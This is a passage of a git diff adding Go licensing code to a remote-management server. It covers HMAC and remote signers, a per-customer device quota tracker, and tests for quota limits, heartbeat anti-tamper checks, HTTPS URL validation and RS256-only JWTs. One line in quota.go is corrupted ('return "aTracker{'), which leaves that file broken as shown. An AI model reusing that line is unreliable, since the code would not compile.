||||||
|
}
|
||||||
|
|
||||||
|
// TestNoOpSignerReturnsEmpty: free tier produces no signature so the
|
||||||
|
// client's private library trips and refuses high-tier features.
|
||||||
|
func TestNoOpSignerReturnsEmpty(t *testing.T) {
|
||||||
|
s := NewNoOp()
|
||||||
|
sig, err := s.Sign("2026-05-20", "12345")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Sign: %v", err)
|
||||||
|
}
|
||||||
|
if sig != "" {
|
||||||
|
t.Errorf("NoOpSigner.Sign = %q, want empty", sig)
|
||||||
|
}
|
||||||
|
if s.Mode() != "noop" {
|
||||||
|
t.Errorf("Mode = %q, want noop", s.Mode())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestLocalSignerDeterministic: HMAC is deterministic — same key + same
|
||||||
|
// input must always yield the same output. This is the property that
|
||||||
|
// makes RemoteSigner's cache correct.
|
||||||
|
func TestLocalSignerDeterministic(t *testing.T) {
|
||||||
|
s, err := NewLocal("shared-secret-xyz-long-enough")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewLocal: %v", err)
|
||||||
|
}
|
||||||
|
a, _ := s.Sign("2026-05-20T10:00:00Z", "12345")
|
||||||
|
b, _ := s.Sign("2026-05-20T10:00:00Z", "12345")
|
||||||
|
if a != b {
|
||||||
|
t.Errorf("non-deterministic: %q vs %q", a, b)
|
||||||
|
}
|
||||||
|
if len(a) != 64 {
|
||||||
|
t.Errorf("signature length = %d, want 64 (hex of HMAC-SHA256)", len(a))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestRemoteSignerCacheHit verifies that the second call for the same
|
||||||
|
// (startTime, clientID) tuple doesn't hit the network. We assert this
|
||||||
|
// by counting requests at the fake License Server.
|
||||||
|
func TestRemoteSignerCacheHit(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
master := mustLocal(t, "real-hmac-key-for-test-xx")
|
||||||
|
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
|
||||||
|
ts := httptest.NewServer(ls.Handler())
|
||||||
|
defer ts.Close()
|
||||||
|
|
||||||
|
tok, err := Issue(priv, "cust-cache", TierPaid, 10, time.Hour)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Issue: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Count requests by wrapping the LS handler.
|
||||||
|
var calls atomic.Int64
|
||||||
|
counting := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||||
|
calls.Add(1)
|
||||||
|
ls.Handler().ServeHTTP(w, r)
|
||||||
|
}))
|
||||||
|
defer counting.Close()
|
||||||
|
|
||||||
|
rs := NewRemote(counting.URL, tok, time.Hour, silentLogger{})
|
||||||
|
defer rs.Close()
|
||||||
|
|
||||||
|
sig1, err := rs.Sign("st-1", "client-1")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("first Sign: %v", err)
|
||||||
|
}
|
||||||
|
sig2, err := rs.Sign("st-1", "client-1") // identical → cache hit
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("second Sign: %v", err)
|
||||||
|
}
|
||||||
|
if sig1 != sig2 {
|
||||||
|
t.Errorf("signatures differ across cache: %q vs %q", sig1, sig2)
|
||||||
|
}
|
||||||
|
if got := calls.Load(); got != 1 {
|
||||||
|
t.Errorf("expected exactly 1 HTTP call (second served from cache), got %d", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestRemoteSignerStaleFallback: when the License Server goes down, an
|
||||||
|
// expired-cache entry is still better than zero signature (avoids breaking
|
||||||
|
// reconnects for existing devices during a transient outage).
|
||||||
|
func TestRemoteSignerStaleFallback(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
master := mustLocal(t, "master-fallback-test-xxx")
|
||||||
|
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
|
||||||
|
ts := httptest.NewServer(ls.Handler())
|
||||||
|
|
||||||
|
tok, err := Issue(priv, "cust-fallback", TierPaid, 5, time.Hour)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Issue: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Grace = 1 ns so the next call considers the cache stale.
|
||||||
|
rs := NewRemote(ts.URL, tok, time.Nanosecond, silentLogger{})
|
||||||
|
defer rs.Close()
|
||||||
|
|
||||||
|
first, err := rs.Sign("st-fb", "client-fb")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("first Sign: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Take the server offline.
|
||||||
|
ts.Close()
|
||||||
|
|
||||||
|
second, err := rs.Sign("st-fb", "client-fb")
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("post-outage Sign should fall back to stale cache, got err=%v", err)
|
||||||
|
}
|
||||||
|
if second != first {
|
||||||
|
t.Errorf("stale fallback returned %q, want cached %q", second, first)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestQuotaEnforcement: trial tier with 2 devices accepts the first two
|
||||||
|
// but rejects the third with 403.
|
||||||
|
func TestQuotaEnforcement(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
master := mustLocal(t, "master-quota-test-xxxxxx")
|
||||||
|
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
|
||||||
|
ts := httptest.NewServer(ls.Handler())
|
||||||
|
defer ts.Close()
|
||||||
|
|
||||||
|
// Trial JWT capped at 2 devices.
|
||||||
|
tok, err := Issue(priv, "cust-quota", TierTrial, 2, time.Hour)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Issue: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
call := func(clientID string) (int, string) {
|
||||||
|
body, _ := json.Marshal(signRequest{ClientID: clientID, StartTime: "st"})
|
||||||
|
req, _ := http.NewRequest("POST", ts.URL+"/license/sign", strings.NewReader(string(body)))
|
||||||
|
req.Header.Set("Authorization", "Bearer "+tok)
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
resp, err := http.DefaultClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Do: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
var sr signResponse
|
||||||
|
_ = json.NewDecoder(resp.Body).Decode(&sr)
|
||||||
|
if sr.Signature != "" {
|
||||||
|
return resp.StatusCode, sr.Signature
|
||||||
|
}
|
||||||
|
return resp.StatusCode, sr.Error
|
||||||
|
}
|
||||||
|
|
||||||
|
if code, _ := call("dev-1"); code != http.StatusOK {
|
||||||
|
t.Errorf("dev-1 expected 200, got %d", code)
|
||||||
|
}
|
||||||
|
if code, _ := call("dev-2"); code != http.StatusOK {
|
||||||
|
t.Errorf("dev-2 expected 200, got %d", code)
|
||||||
|
}
|
||||||
|
if code, msg := call("dev-3"); code != http.StatusForbidden {
|
||||||
|
t.Errorf("dev-3 expected 403, got %d (%q)", code, msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestAuthRejectsMissingBearer: no token → 401, not 200 / not 500. Belt
|
||||||
|
// and braces — the auth check sits in front of /sign and /heartbeat.
|
||||||
|
func TestAuthRejectsMissingBearer(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
master := mustLocal(t, "master-auth-test-xxxxxxx")
|
||||||
|
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
|
||||||
|
ts := httptest.NewServer(ls.Handler())
|
||||||
|
defer ts.Close()
|
||||||
|
|
||||||
|
body := strings.NewReader(`{"client_id":"x","start_time":"y"}`)
|
||||||
|
resp, err := http.Post(ts.URL+"/license/sign", "application/json", body)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Post: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusUnauthorized {
|
||||||
|
t.Errorf("expected 401, got %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestRemoteSignerHardFailNoCacheReturnsError: when the LS is unreachable
|
||||||
|
// AND we have no cached signature for this (startTime, clientID), Sign must
|
||||||
|
// return ("", err) so the caller (sendMasterSetting) ships zeroed bytes.
|
||||||
|
// Previously untested — easy to silently regress.
|
||||||
|
func TestRemoteSignerHardFailNoCacheReturnsError(t *testing.T) {
|
||||||
|
// Point RemoteSigner at a URL that will refuse all connections.
|
||||||
|
// Using an unreachable host avoids depending on a free local port.
|
||||||
|
rs := NewRemote("https://127.0.0.1:1", "any-token", time.Hour, silentLogger{})
|
||||||
|
defer rs.Close()
|
||||||
|
|
||||||
|
sig, err := rs.Sign("st-x", "client-x")
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error when LS unreachable and cache empty")
|
||||||
|
}
|
||||||
|
if sig != "" {
|
||||||
|
t.Errorf("expected empty signature on hard failure, got %q", sig)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestHeartbeatRefreshOnly: malicious customer POSTs fake clientIDs to
|
||||||
|
// /license/heartbeat. The fake IDs MUST NOT show up in the server's view —
|
||||||
|
// only IDs already minted via /sign get refreshed. This is the anti-tamper
|
||||||
|
// property that makes the quota system actually enforce.
|
||||||
|
func TestHeartbeatRefreshOnly(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
master := mustLocal(t, "master-hb-test-xxxxxxxxxx")
|
||||||
|
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
|
||||||
|
ts := httptest.NewServer(ls.Handler())
|
||||||
|
defer ts.Close()
|
||||||
|
|
||||||
|
tok, err := Issue(priv, "cust-hb", TierPaid, 5, time.Hour)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Issue: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reserve one legit device via /sign first.
|
||||||
|
signBody, _ := json.Marshal(signRequest{ClientID: "legit-1", StartTime: "st"})
|
||||||
|
req, _ := http.NewRequest("POST", ts.URL+"/license/sign", strings.NewReader(string(signBody)))
|
||||||
|
req.Header.Set("Authorization", "Bearer "+tok)
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
if resp, err := http.DefaultClient.Do(req); err != nil {
|
||||||
|
t.Fatalf("Do sign: %v", err)
|
||||||
|
} else {
|
||||||
|
resp.Body.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
// Now heartbeat reports 1 legit ID + 99 fake IDs.
|
||||||
|
fakes := make([]string, 99)
|
||||||
|
for i := range fakes {
|
||||||
|
fakes[i] = fmt.Sprintf("fake-%d", i)
|
||||||
|
}
|
||||||
|
all := append([]string{"legit-1"}, fakes...)
|
||||||
|
hbBody, _ := json.Marshal(heartbeatRequest{
|
||||||
|
ActiveDeviceCount: len(all),
|
||||||
|
ActiveDeviceIDs: all,
|
||||||
|
})
|
||||||
|
req, _ = http.NewRequest("POST", ts.URL+"/license/heartbeat", strings.NewReader(string(hbBody)))
|
||||||
|
req.Header.Set("Authorization", "Bearer "+tok)
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
resp, err := http.DefaultClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Do heartbeat: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
t.Fatalf("heartbeat returned %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
var hbResp heartbeatResponse
|
||||||
|
_ = json.NewDecoder(resp.Body).Decode(&hbResp)
|
||||||
|
|
||||||
|
// Server should report exactly 1 active device (the one minted via /sign),
|
||||||
|
// NOT 1 + 99. drift = 99.
|
||||||
|
if hbResp.ServerViewCount != 1 {
|
||||||
|
t.Errorf("server view = %d, want 1 (heartbeat must not insert fake IDs)", hbResp.ServerViewCount)
|
||||||
|
}
|
||||||
|
if hbResp.Drift != 99 {
|
||||||
|
t.Errorf("drift = %d, want 99", hbResp.Drift)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify the quota cap is still enforced: a fresh /sign for dev-2..dev-5
|
||||||
|
// should succeed (only 1 slot used), dev-6 should fail.
|
||||||
|
tryReserve := func(cid string) int {
|
||||||
|
body, _ := json.Marshal(signRequest{ClientID: cid, StartTime: "st"})
|
||||||
|
req, _ := http.NewRequest("POST", ts.URL+"/license/sign", strings.NewReader(string(body)))
|
||||||
|
req.Header.Set("Authorization", "Bearer "+tok)
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
resp, err := http.DefaultClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Do: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
return resp.StatusCode
|
||||||
|
}
|
||||||
|
for i := 2; i <= 5; i++ {
|
||||||
|
if code := tryReserve(fmt.Sprintf("legit-%d", i)); code != http.StatusOK {
|
||||||
|
t.Errorf("legit-%d expected 200, got %d", i, code)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if code := tryReserve("legit-6"); code != http.StatusForbidden {
|
||||||
|
t.Errorf("legit-6 expected 403 (max=5), got %d", code)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestQuotaRejectionDoesNotConsumeSlot: a rejected /sign must not leave
|
||||||
|
// its clientID in the quota map. Otherwise a denied 3rd device would
|
||||||
|
// permanently take a slot from the legitimate 1st/2nd.
|
||||||
|
func TestQuotaRejectionDoesNotConsumeSlot(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
master := mustLocal(t, "master-no-leak-xxxxxxxxxxxx")
|
||||||
|
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{})
|
||||||
|
ts := httptest.NewServer(ls.Handler())
|
||||||
|
defer ts.Close()
|
||||||
|
|
||||||
|
tok, err := Issue(priv, "cust-leak", TierTrial, 2, time.Hour)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Issue: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
doSign := func(cid string) int {
|
||||||
|
body, _ := json.Marshal(signRequest{ClientID: cid, StartTime: "st"})
|
||||||
|
req, _ := http.NewRequest("POST", ts.URL+"/license/sign", strings.NewReader(string(body)))
|
||||||
|
req.Header.Set("Authorization", "Bearer "+tok)
|
||||||
|
req.Header.Set("Content-Type", "application/json")
|
||||||
|
resp, err := http.DefaultClient.Do(req)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("Do: %v", err)
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
return resp.StatusCode
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fill to cap.
|
||||||
|
if c := doSign("a"); c != http.StatusOK {
|
||||||
|
t.Fatalf("a expected 200, got %d", c)
|
||||||
|
}
|
||||||
|
if c := doSign("b"); c != http.StatusOK {
|
||||||
|
t.Fatalf("b expected 200, got %d", c)
|
||||||
|
}
|
||||||
|
// Over cap — must be denied AND must NOT consume a slot.
|
||||||
|
if c := doSign("c"); c != http.StatusForbidden {
|
||||||
|
t.Fatalf("c expected 403, got %d", c)
|
||||||
|
}
|
||||||
|
if c := doSign("d"); c != http.StatusForbidden {
|
||||||
|
t.Fatalf("d expected 403, got %d", c)
|
||||||
|
}
|
||||||
|
// Existing device 'a' re-signs — must still succeed (idempotent refresh).
|
||||||
|
if c := doSign("a"); c != http.StatusOK {
|
||||||
|
t.Fatalf("a re-sign expected 200, got %d", c)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestQuotaTrackerEviction: after evictAfter elapses, a previously-occupied
|
||||||
|
// slot must be reclaimed so a new device can take it. Exercises the time
|
||||||
|
// path that TestQuotaEnforcement skips (it uses a long eviction window).
|
||||||
|
func TestQuotaTrackerEviction(t *testing.T) {
|
||||||
|
q := newQuotaTracker(50 * time.Millisecond)
|
||||||
|
|
||||||
|
if count, ok := q.Reserve("cust", "dev-1", 1); !ok || count != 1 {
|
||||||
|
t.Fatalf("first Reserve: count=%d ok=%v", count, ok)
|
||||||
|
}
|
||||||
|
if count, ok := q.Reserve("cust", "dev-2", 1); ok {
|
||||||
|
t.Fatalf("expected over-cap rejection, got count=%d ok=%v", count, ok)
|
||||||
|
}
|
||||||
|
|
||||||
|
time.Sleep(80 * time.Millisecond)
|
||||||
|
|
||||||
|
// dev-1's entry should now be stale; dev-2 should be admitted.
|
||||||
|
if count, ok := q.Reserve("cust", "dev-2", 1); !ok || count != 1 {
|
||||||
|
t.Fatalf("post-eviction Reserve: count=%d ok=%v", count, ok)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestValidateRemoteURL: factory must reject http:// for non-loopback
|
||||||
|
// targets so JWT/sigs don't leak in cleartext.
|
||||||
|
func TestValidateRemoteURL(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
url string
|
||||||
|
wantError bool
|
||||||
|
}{
|
||||||
|
{"https://license.example.com", false},
|
||||||
|
{"https://localhost:8443", false},
|
||||||
|
{"http://localhost:8443", false}, // loopback exception
|
||||||
|
{"http://127.0.0.1:8443", false}, // loopback exception
|
||||||
|
{"http://license.example.com", true}, // public http → reject
|
||||||
|
{"ftp://license.example.com", true}, // bad scheme
|
||||||
|
{"not a url at all", true},
|
||||||
|
}
|
||||||
|
for _, c := range cases {
|
||||||
|
err := ValidateRemoteURL(c.url)
|
||||||
|
if (err != nil) != c.wantError {
|
||||||
|
t.Errorf("ValidateRemoteURL(%q): err=%v, wantError=%v", c.url, err, c.wantError)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestIssueRejectsShortTTL: catches fat-finger ttl=0 / negative that mints
|
||||||
|
// an already-expired token.
|
||||||
|
func TestIssueRejectsShortTTL(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
if _, err := Issue(priv, "cust", TierPaid, 10, 0); err == nil {
|
||||||
|
t.Error("expected error for ttl=0")
|
||||||
|
}
|
||||||
|
if _, err := Issue(priv, "cust", TierPaid, 10, time.Minute); err == nil {
|
||||||
|
t.Error("expected error for ttl below minimum")
|
||||||
|
}
|
||||||
|
if _, err := Issue(priv, "", TierPaid, 10, time.Hour); err == nil {
|
||||||
|
t.Error("expected error for empty sub")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestNewLocalRejectsShortKey: catches misconfigured YAMA_SIGN_PASSWORD
|
||||||
|
// (empty / typo) at construction instead of silently signing with junk.
|
||||||
|
func TestNewLocalRejectsShortKey(t *testing.T) {
|
||||||
|
if _, err := NewLocal(""); err == nil {
|
||||||
|
t.Error("expected error for empty master key")
|
||||||
|
}
|
||||||
|
if _, err := NewLocal("short"); err == nil {
|
||||||
|
t.Error("expected error for too-short master key")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestJWTAlgLockedToRS256: a token with any non-RS256 alg (here RS384) must
|
||||||
|
// fail verification, even though the underlying RSA primitive is the same.
|
||||||
|
// This pins the docs↔code contract.
|
||||||
|
func TestJWTAlgLockedToRS256(t *testing.T) {
|
||||||
|
priv := testKey(t)
|
||||||
|
now := time.Now()
|
||||||
|
claims := &LicenseClaims{
|
||||||
|
Tier: TierTrial,
|
||||||
|
MaxDevices: 10,
|
||||||
|
RegisteredClaims: jwt.RegisteredClaims{
|
||||||
|
Subject: "cust",
|
||||||
|
IssuedAt: jwt.NewNumericDate(now),
|
||||||
|
ExpiresAt: jwt.NewNumericDate(now.Add(time.Hour)),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
tok := jwt.NewWithClaims(jwt.SigningMethodRS384, claims)
|
||||||
|
signed, err := tok.SignedString(priv)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("sign: %v", err)
|
||||||
|
}
|
||||||
|
if _, err := VerifyJWT(signed, &priv.PublicKey); err == nil {
|
||||||
|
t.Error("VerifyJWT accepted RS384; alg should be locked to RS256")
|
||||||
|
}
|
||||||
|
}
|
||||||
45
server/go/licensing/local.go
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
package licensing
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
|
||||||
|
"github.com/yuanyuanxiang/SimpleRemoter/server/go/protocol"
|
||||||
|
)
|
||||||
|
|
||||||
|
// LocalSigner signs directly with the deployment's HMAC master key. The
|
||||||
|
// operator's own Go server runs in this mode; it also serves as License
|
||||||
|
// Server for any RemoteSigner customer deployments (LicenseServer in
|
||||||
|
// server.go reuses the same Signer instance via its public Sign() method).
|
||||||
|
//
|
||||||
|
// Sign is HMAC-SHA256 in microseconds — no I/O, no caching needed.
|
||||||
|
type LocalSigner struct {
|
||||||
|
masterKey string
|
||||||
|
}
|
||||||
|
|
||||||
|
// minMasterKeyLen rejects obviously-broken HMAC keys (empty string, "x").
|
||||||
|
// Real keys are typically `openssl rand -hex 32` (64 chars); 16 bytes is
|
||||||
|
// the floor we'll accept to catch fat-finger configs without being too
|
||||||
|
// strict for tests.
|
||||||
|
const minMasterKeyLen = 16
|
||||||
|
|
||||||
|
// NewLocal returns a LocalSigner. An empty or too-short masterKey is a
|
||||||
|
// configuration bug — silently accepting it would produce stable but
|
||||||
|
// worthless HMAC output, so we reject at construction.
|
||||||
|
func NewLocal(masterKey string) (*LocalSigner, error) {
|
||||||
|
if masterKey == "" {
|
||||||
|
return nil, errors.New("LocalSigner: master HMAC key is empty (set YAMA_SIGN_PASSWORD)")
|
||||||
|
}
|
||||||
|
if len(masterKey) < minMasterKeyLen {
|
||||||
|
return nil, errors.New("LocalSigner: master HMAC key too short (need >= 16 chars)")
|
||||||
|
}
|
||||||
|
return &LocalSigner{masterKey: masterKey}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *LocalSigner) Sign(startTime, clientID string) (string, error) {
|
||||||
|
msg := startTime + "|" + clientID
|
||||||
|
return protocol.SignMessage(l.masterKey, []byte(msg)), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l *LocalSigner) Mode() string { return "local" }
|
||||||
|
|
||||||
|
func (l *LocalSigner) Close() error { return nil }
|
||||||
18
server/go/licensing/noop.go
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
package licensing
|
||||||
|
|
||||||
|
// NoOpSigner returns an empty signature. Used when neither YAMA_SIGN_PASSWORD
|
||||||
|
// nor YAMA_LICENSE_SERVER is set — operator hasn't configured licensing at
|
||||||
|
// all (free-tier mode). Device list keeps working; the client's private
|
||||||
|
// library refuses to start screen/file features when it sees a zeroed
|
||||||
|
// Signature[64] field in CMD_MASTERSETTING.
|
||||||
|
type NoOpSigner struct{}
|
||||||
|
|
||||||
|
func NewNoOp() *NoOpSigner { return &NoOpSigner{} }
|
||||||
|
|
||||||
|
func (n *NoOpSigner) Sign(startTime, clientID string) (string, error) {
|
||||||
|
return "", nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (n *NoOpSigner) Mode() string { return "noop" }
|
||||||
|
|
||||||
|
func (n *NoOpSigner) Close() error { return nil }
|
||||||
159
server/go/licensing/quota.go
Normal file
@@ -0,0 +1,159 @@
|
|||||||
|
package licensing
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Tier names. The free tier is hard-coded into the License Server (no JWT
|
||||||
|
// needed); trial / paid are encoded in the issued JWT's "tier" claim along
|
||||||
|
// with "max_devices".
|
||||||
|
const (
|
||||||
|
TierFree = "free"
|
||||||
|
TierTrial = "trial"
|
||||||
|
TierPaid = "paid"
|
||||||
|
)
|
||||||
|
|
||||||
|
// FreeMaxDevices is the per-deployment device cap for unauthenticated
|
||||||
|
// (no JWT) callers. Trial defaults to 20 if the JWT omits max_devices;
|
||||||
|
// paid customers MUST have an explicit max_devices in their JWT.
|
||||||
|
const (
|
||||||
|
FreeMaxDevices = 2
|
||||||
|
TrialMaxDevices = 20
|
||||||
|
)
|
||||||
|
|
||||||
|
// quotaTracker maintains the active-device set per customer. Customers are
|
||||||
|
// identified by the JWT "sub" claim. The set is keyed by clientID (uint64
|
||||||
|
// from the device, stringified) — same device coming back through the
|
||||||
|
// same License Server is one slot, not two.
|
||||||
|
//
|
||||||
|
// Eviction: any clientID not seen in /sign or /license/heartbeat within
|
||||||
|
// the eviction window is silently dropped from the active set. This stops
|
||||||
|
// a never-heartbeating customer from holding slots forever. Default
|
||||||
|
// window is twice the heartbeat interval the customer reports at (5 min).
|
||||||
|
//
|
||||||
|
// Empty customer entries are reaped at the end of each mutation so the
|
||||||
|
// outer map doesn't accumulate sub claims of expired contracts.
|
||||||
|
type quotaTracker struct {
|
||||||
|
evictAfter time.Duration
|
||||||
|
|
||||||
|
mu sync.Mutex
|
||||||
|
customer map[string]*customerState // sub claim → state
|
||||||
|
}
|
||||||
|
|
||||||
|
type customerState struct {
|
||||||
|
devices map[string]time.Time // clientID → last activity
|
||||||
|
}
|
||||||
|
|
||||||
|
func newQuotaTracker(evictAfter time.Duration) *quotaTracker {
|
||||||
|
return "aTracker{
|
||||||
|
evictAfter: evictAfter,
|
||||||
|
customer: make(map[string]*customerState),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// evictLocked drops stale entries from st.devices. Caller must hold q.mu.
|
||||||
|
func (q *quotaTracker) evictLocked(st *customerState) {
|
||||||
|
cutoff := time.Now().Add(-q.evictAfter)
|
||||||
|
for cid, last := range st.devices {
|
||||||
|
if last.Before(cutoff) {
|
||||||
|
delete(st.devices, cid)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// reapEmptyLocked deletes sub entries whose device sets are empty. This
|
||||||
|
// prevents long-running License Servers from leaking memory across
|
||||||
|
// churned trial customers. Caller must hold q.mu.
|
||||||
|
func (q *quotaTracker) reapEmptyLocked(sub string) {
|
||||||
|
if st, ok := q.customer[sub]; ok && len(st.devices) == 0 {
|
||||||
|
delete(q.customer, sub)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reserve atomically checks whether <clientID> can be admitted under <sub>
|
||||||
|
// without exceeding <maxDevices>, and if so records it as active. Returns
|
||||||
|
// (active_count_after, accepted).
|
||||||
|
//
|
||||||
|
// "Accepted" means the slot is now reserved. "Rejected" leaves the device
|
||||||
|
// map untouched — a denied request must NOT permanently consume a slot
|
||||||
|
// just because the caller asked.
|
||||||
|
//
|
||||||
|
// If <clientID> is already in the set, Reserve refreshes its activity
|
||||||
|
// timestamp and returns accepted=true regardless of maxDevices (same device
|
||||||
|
// re-signing is never a quota violation — caps only apply to ADDING).
|
||||||
|
func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool) {
|
||||||
|
q.mu.Lock()
|
||||||
|
defer q.mu.Unlock()
|
||||||
|
|
||||||
|
st, ok := q.customer[sub]
|
||||||
|
if !ok {
|
||||||
|
st = &customerState{devices: make(map[string]time.Time)}
|
||||||
|
q.customer[sub] = st
|
||||||
|
}
|
||||||
|
|
||||||
|
q.evictLocked(st)
|
||||||
|
|
||||||
|
if _, already := st.devices[clientID]; already {
|
||||||
|
st.devices[clientID] = time.Now()
|
||||||
|
return len(st.devices), true
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(st.devices)+1 > maxDevices {
|
||||||
|
// Don't reap on rejection — the customer might be at exactly cap
|
||||||
|
// with valid devices, and an empty map would lose info.
|
||||||
|
return len(st.devices), false
|
||||||
|
}
|
||||||
|
|
||||||
|
st.devices[clientID] = time.Now()
|
||||||
|
return len(st.devices), true
|
||||||
|
}
|
||||||
|
|
||||||
|
// RefreshExisting bumps the last-activity timestamp for any clientID in
|
||||||
|
// <clientIDs> that is ALREADY in <sub>'s set. New IDs are silently ignored
|
||||||
|
// — this is the key anti-tamper property of /license/heartbeat: a
|
||||||
|
// malicious customer cannot inflate their quota by reporting fake IDs.
|
||||||
|
//
|
||||||
|
// Returns the count of IDs that were actually refreshed (i.e. that were
|
||||||
|
// known to us from a prior Reserve).
|
||||||
|
func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int {
|
||||||
|
q.mu.Lock()
|
||||||
|
defer q.mu.Unlock()
|
||||||
|
|
||||||
|
st, ok := q.customer[sub]
|
||||||
|
if !ok {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
q.evictLocked(st)
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
refreshed := 0
|
||||||
|
for _, cid := range clientIDs {
|
||||||
|
if _, exists := st.devices[cid]; exists {
|
||||||
|
st.devices[cid] = now
|
||||||
|
refreshed++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
q.reapEmptyLocked(sub) // eviction may have emptied us
|
||||||
|
return refreshed
|
||||||
|
}
|
||||||
|
|
||||||
|
// Snapshot returns the current active clientIDs for <sub>. Used by
|
||||||
|
// /license/heartbeat to report the server-side view.
|
||||||
|
func (q *quotaTracker) Snapshot(sub string) []string {
|
||||||
|
q.mu.Lock()
|
||||||
|
defer q.mu.Unlock()
|
||||||
|
st, ok := q.customer[sub]
|
||||||
|
if !ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
q.evictLocked(st)
|
||||||
|
out := make([]string, 0, len(st.devices))
|
||||||
|
for cid := range st.devices {
|
||||||
|
out = append(out, cid)
|
||||||
|
}
|
||||||
|
q.reapEmptyLocked(sub)
|
||||||
|
return out
|
||||||
|
}
|
||||||
295
server/go/licensing/remote.go
Normal file
@@ -0,0 +1,295 @@
|
|||||||
|
package licensing
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"context"
|
||||||
|
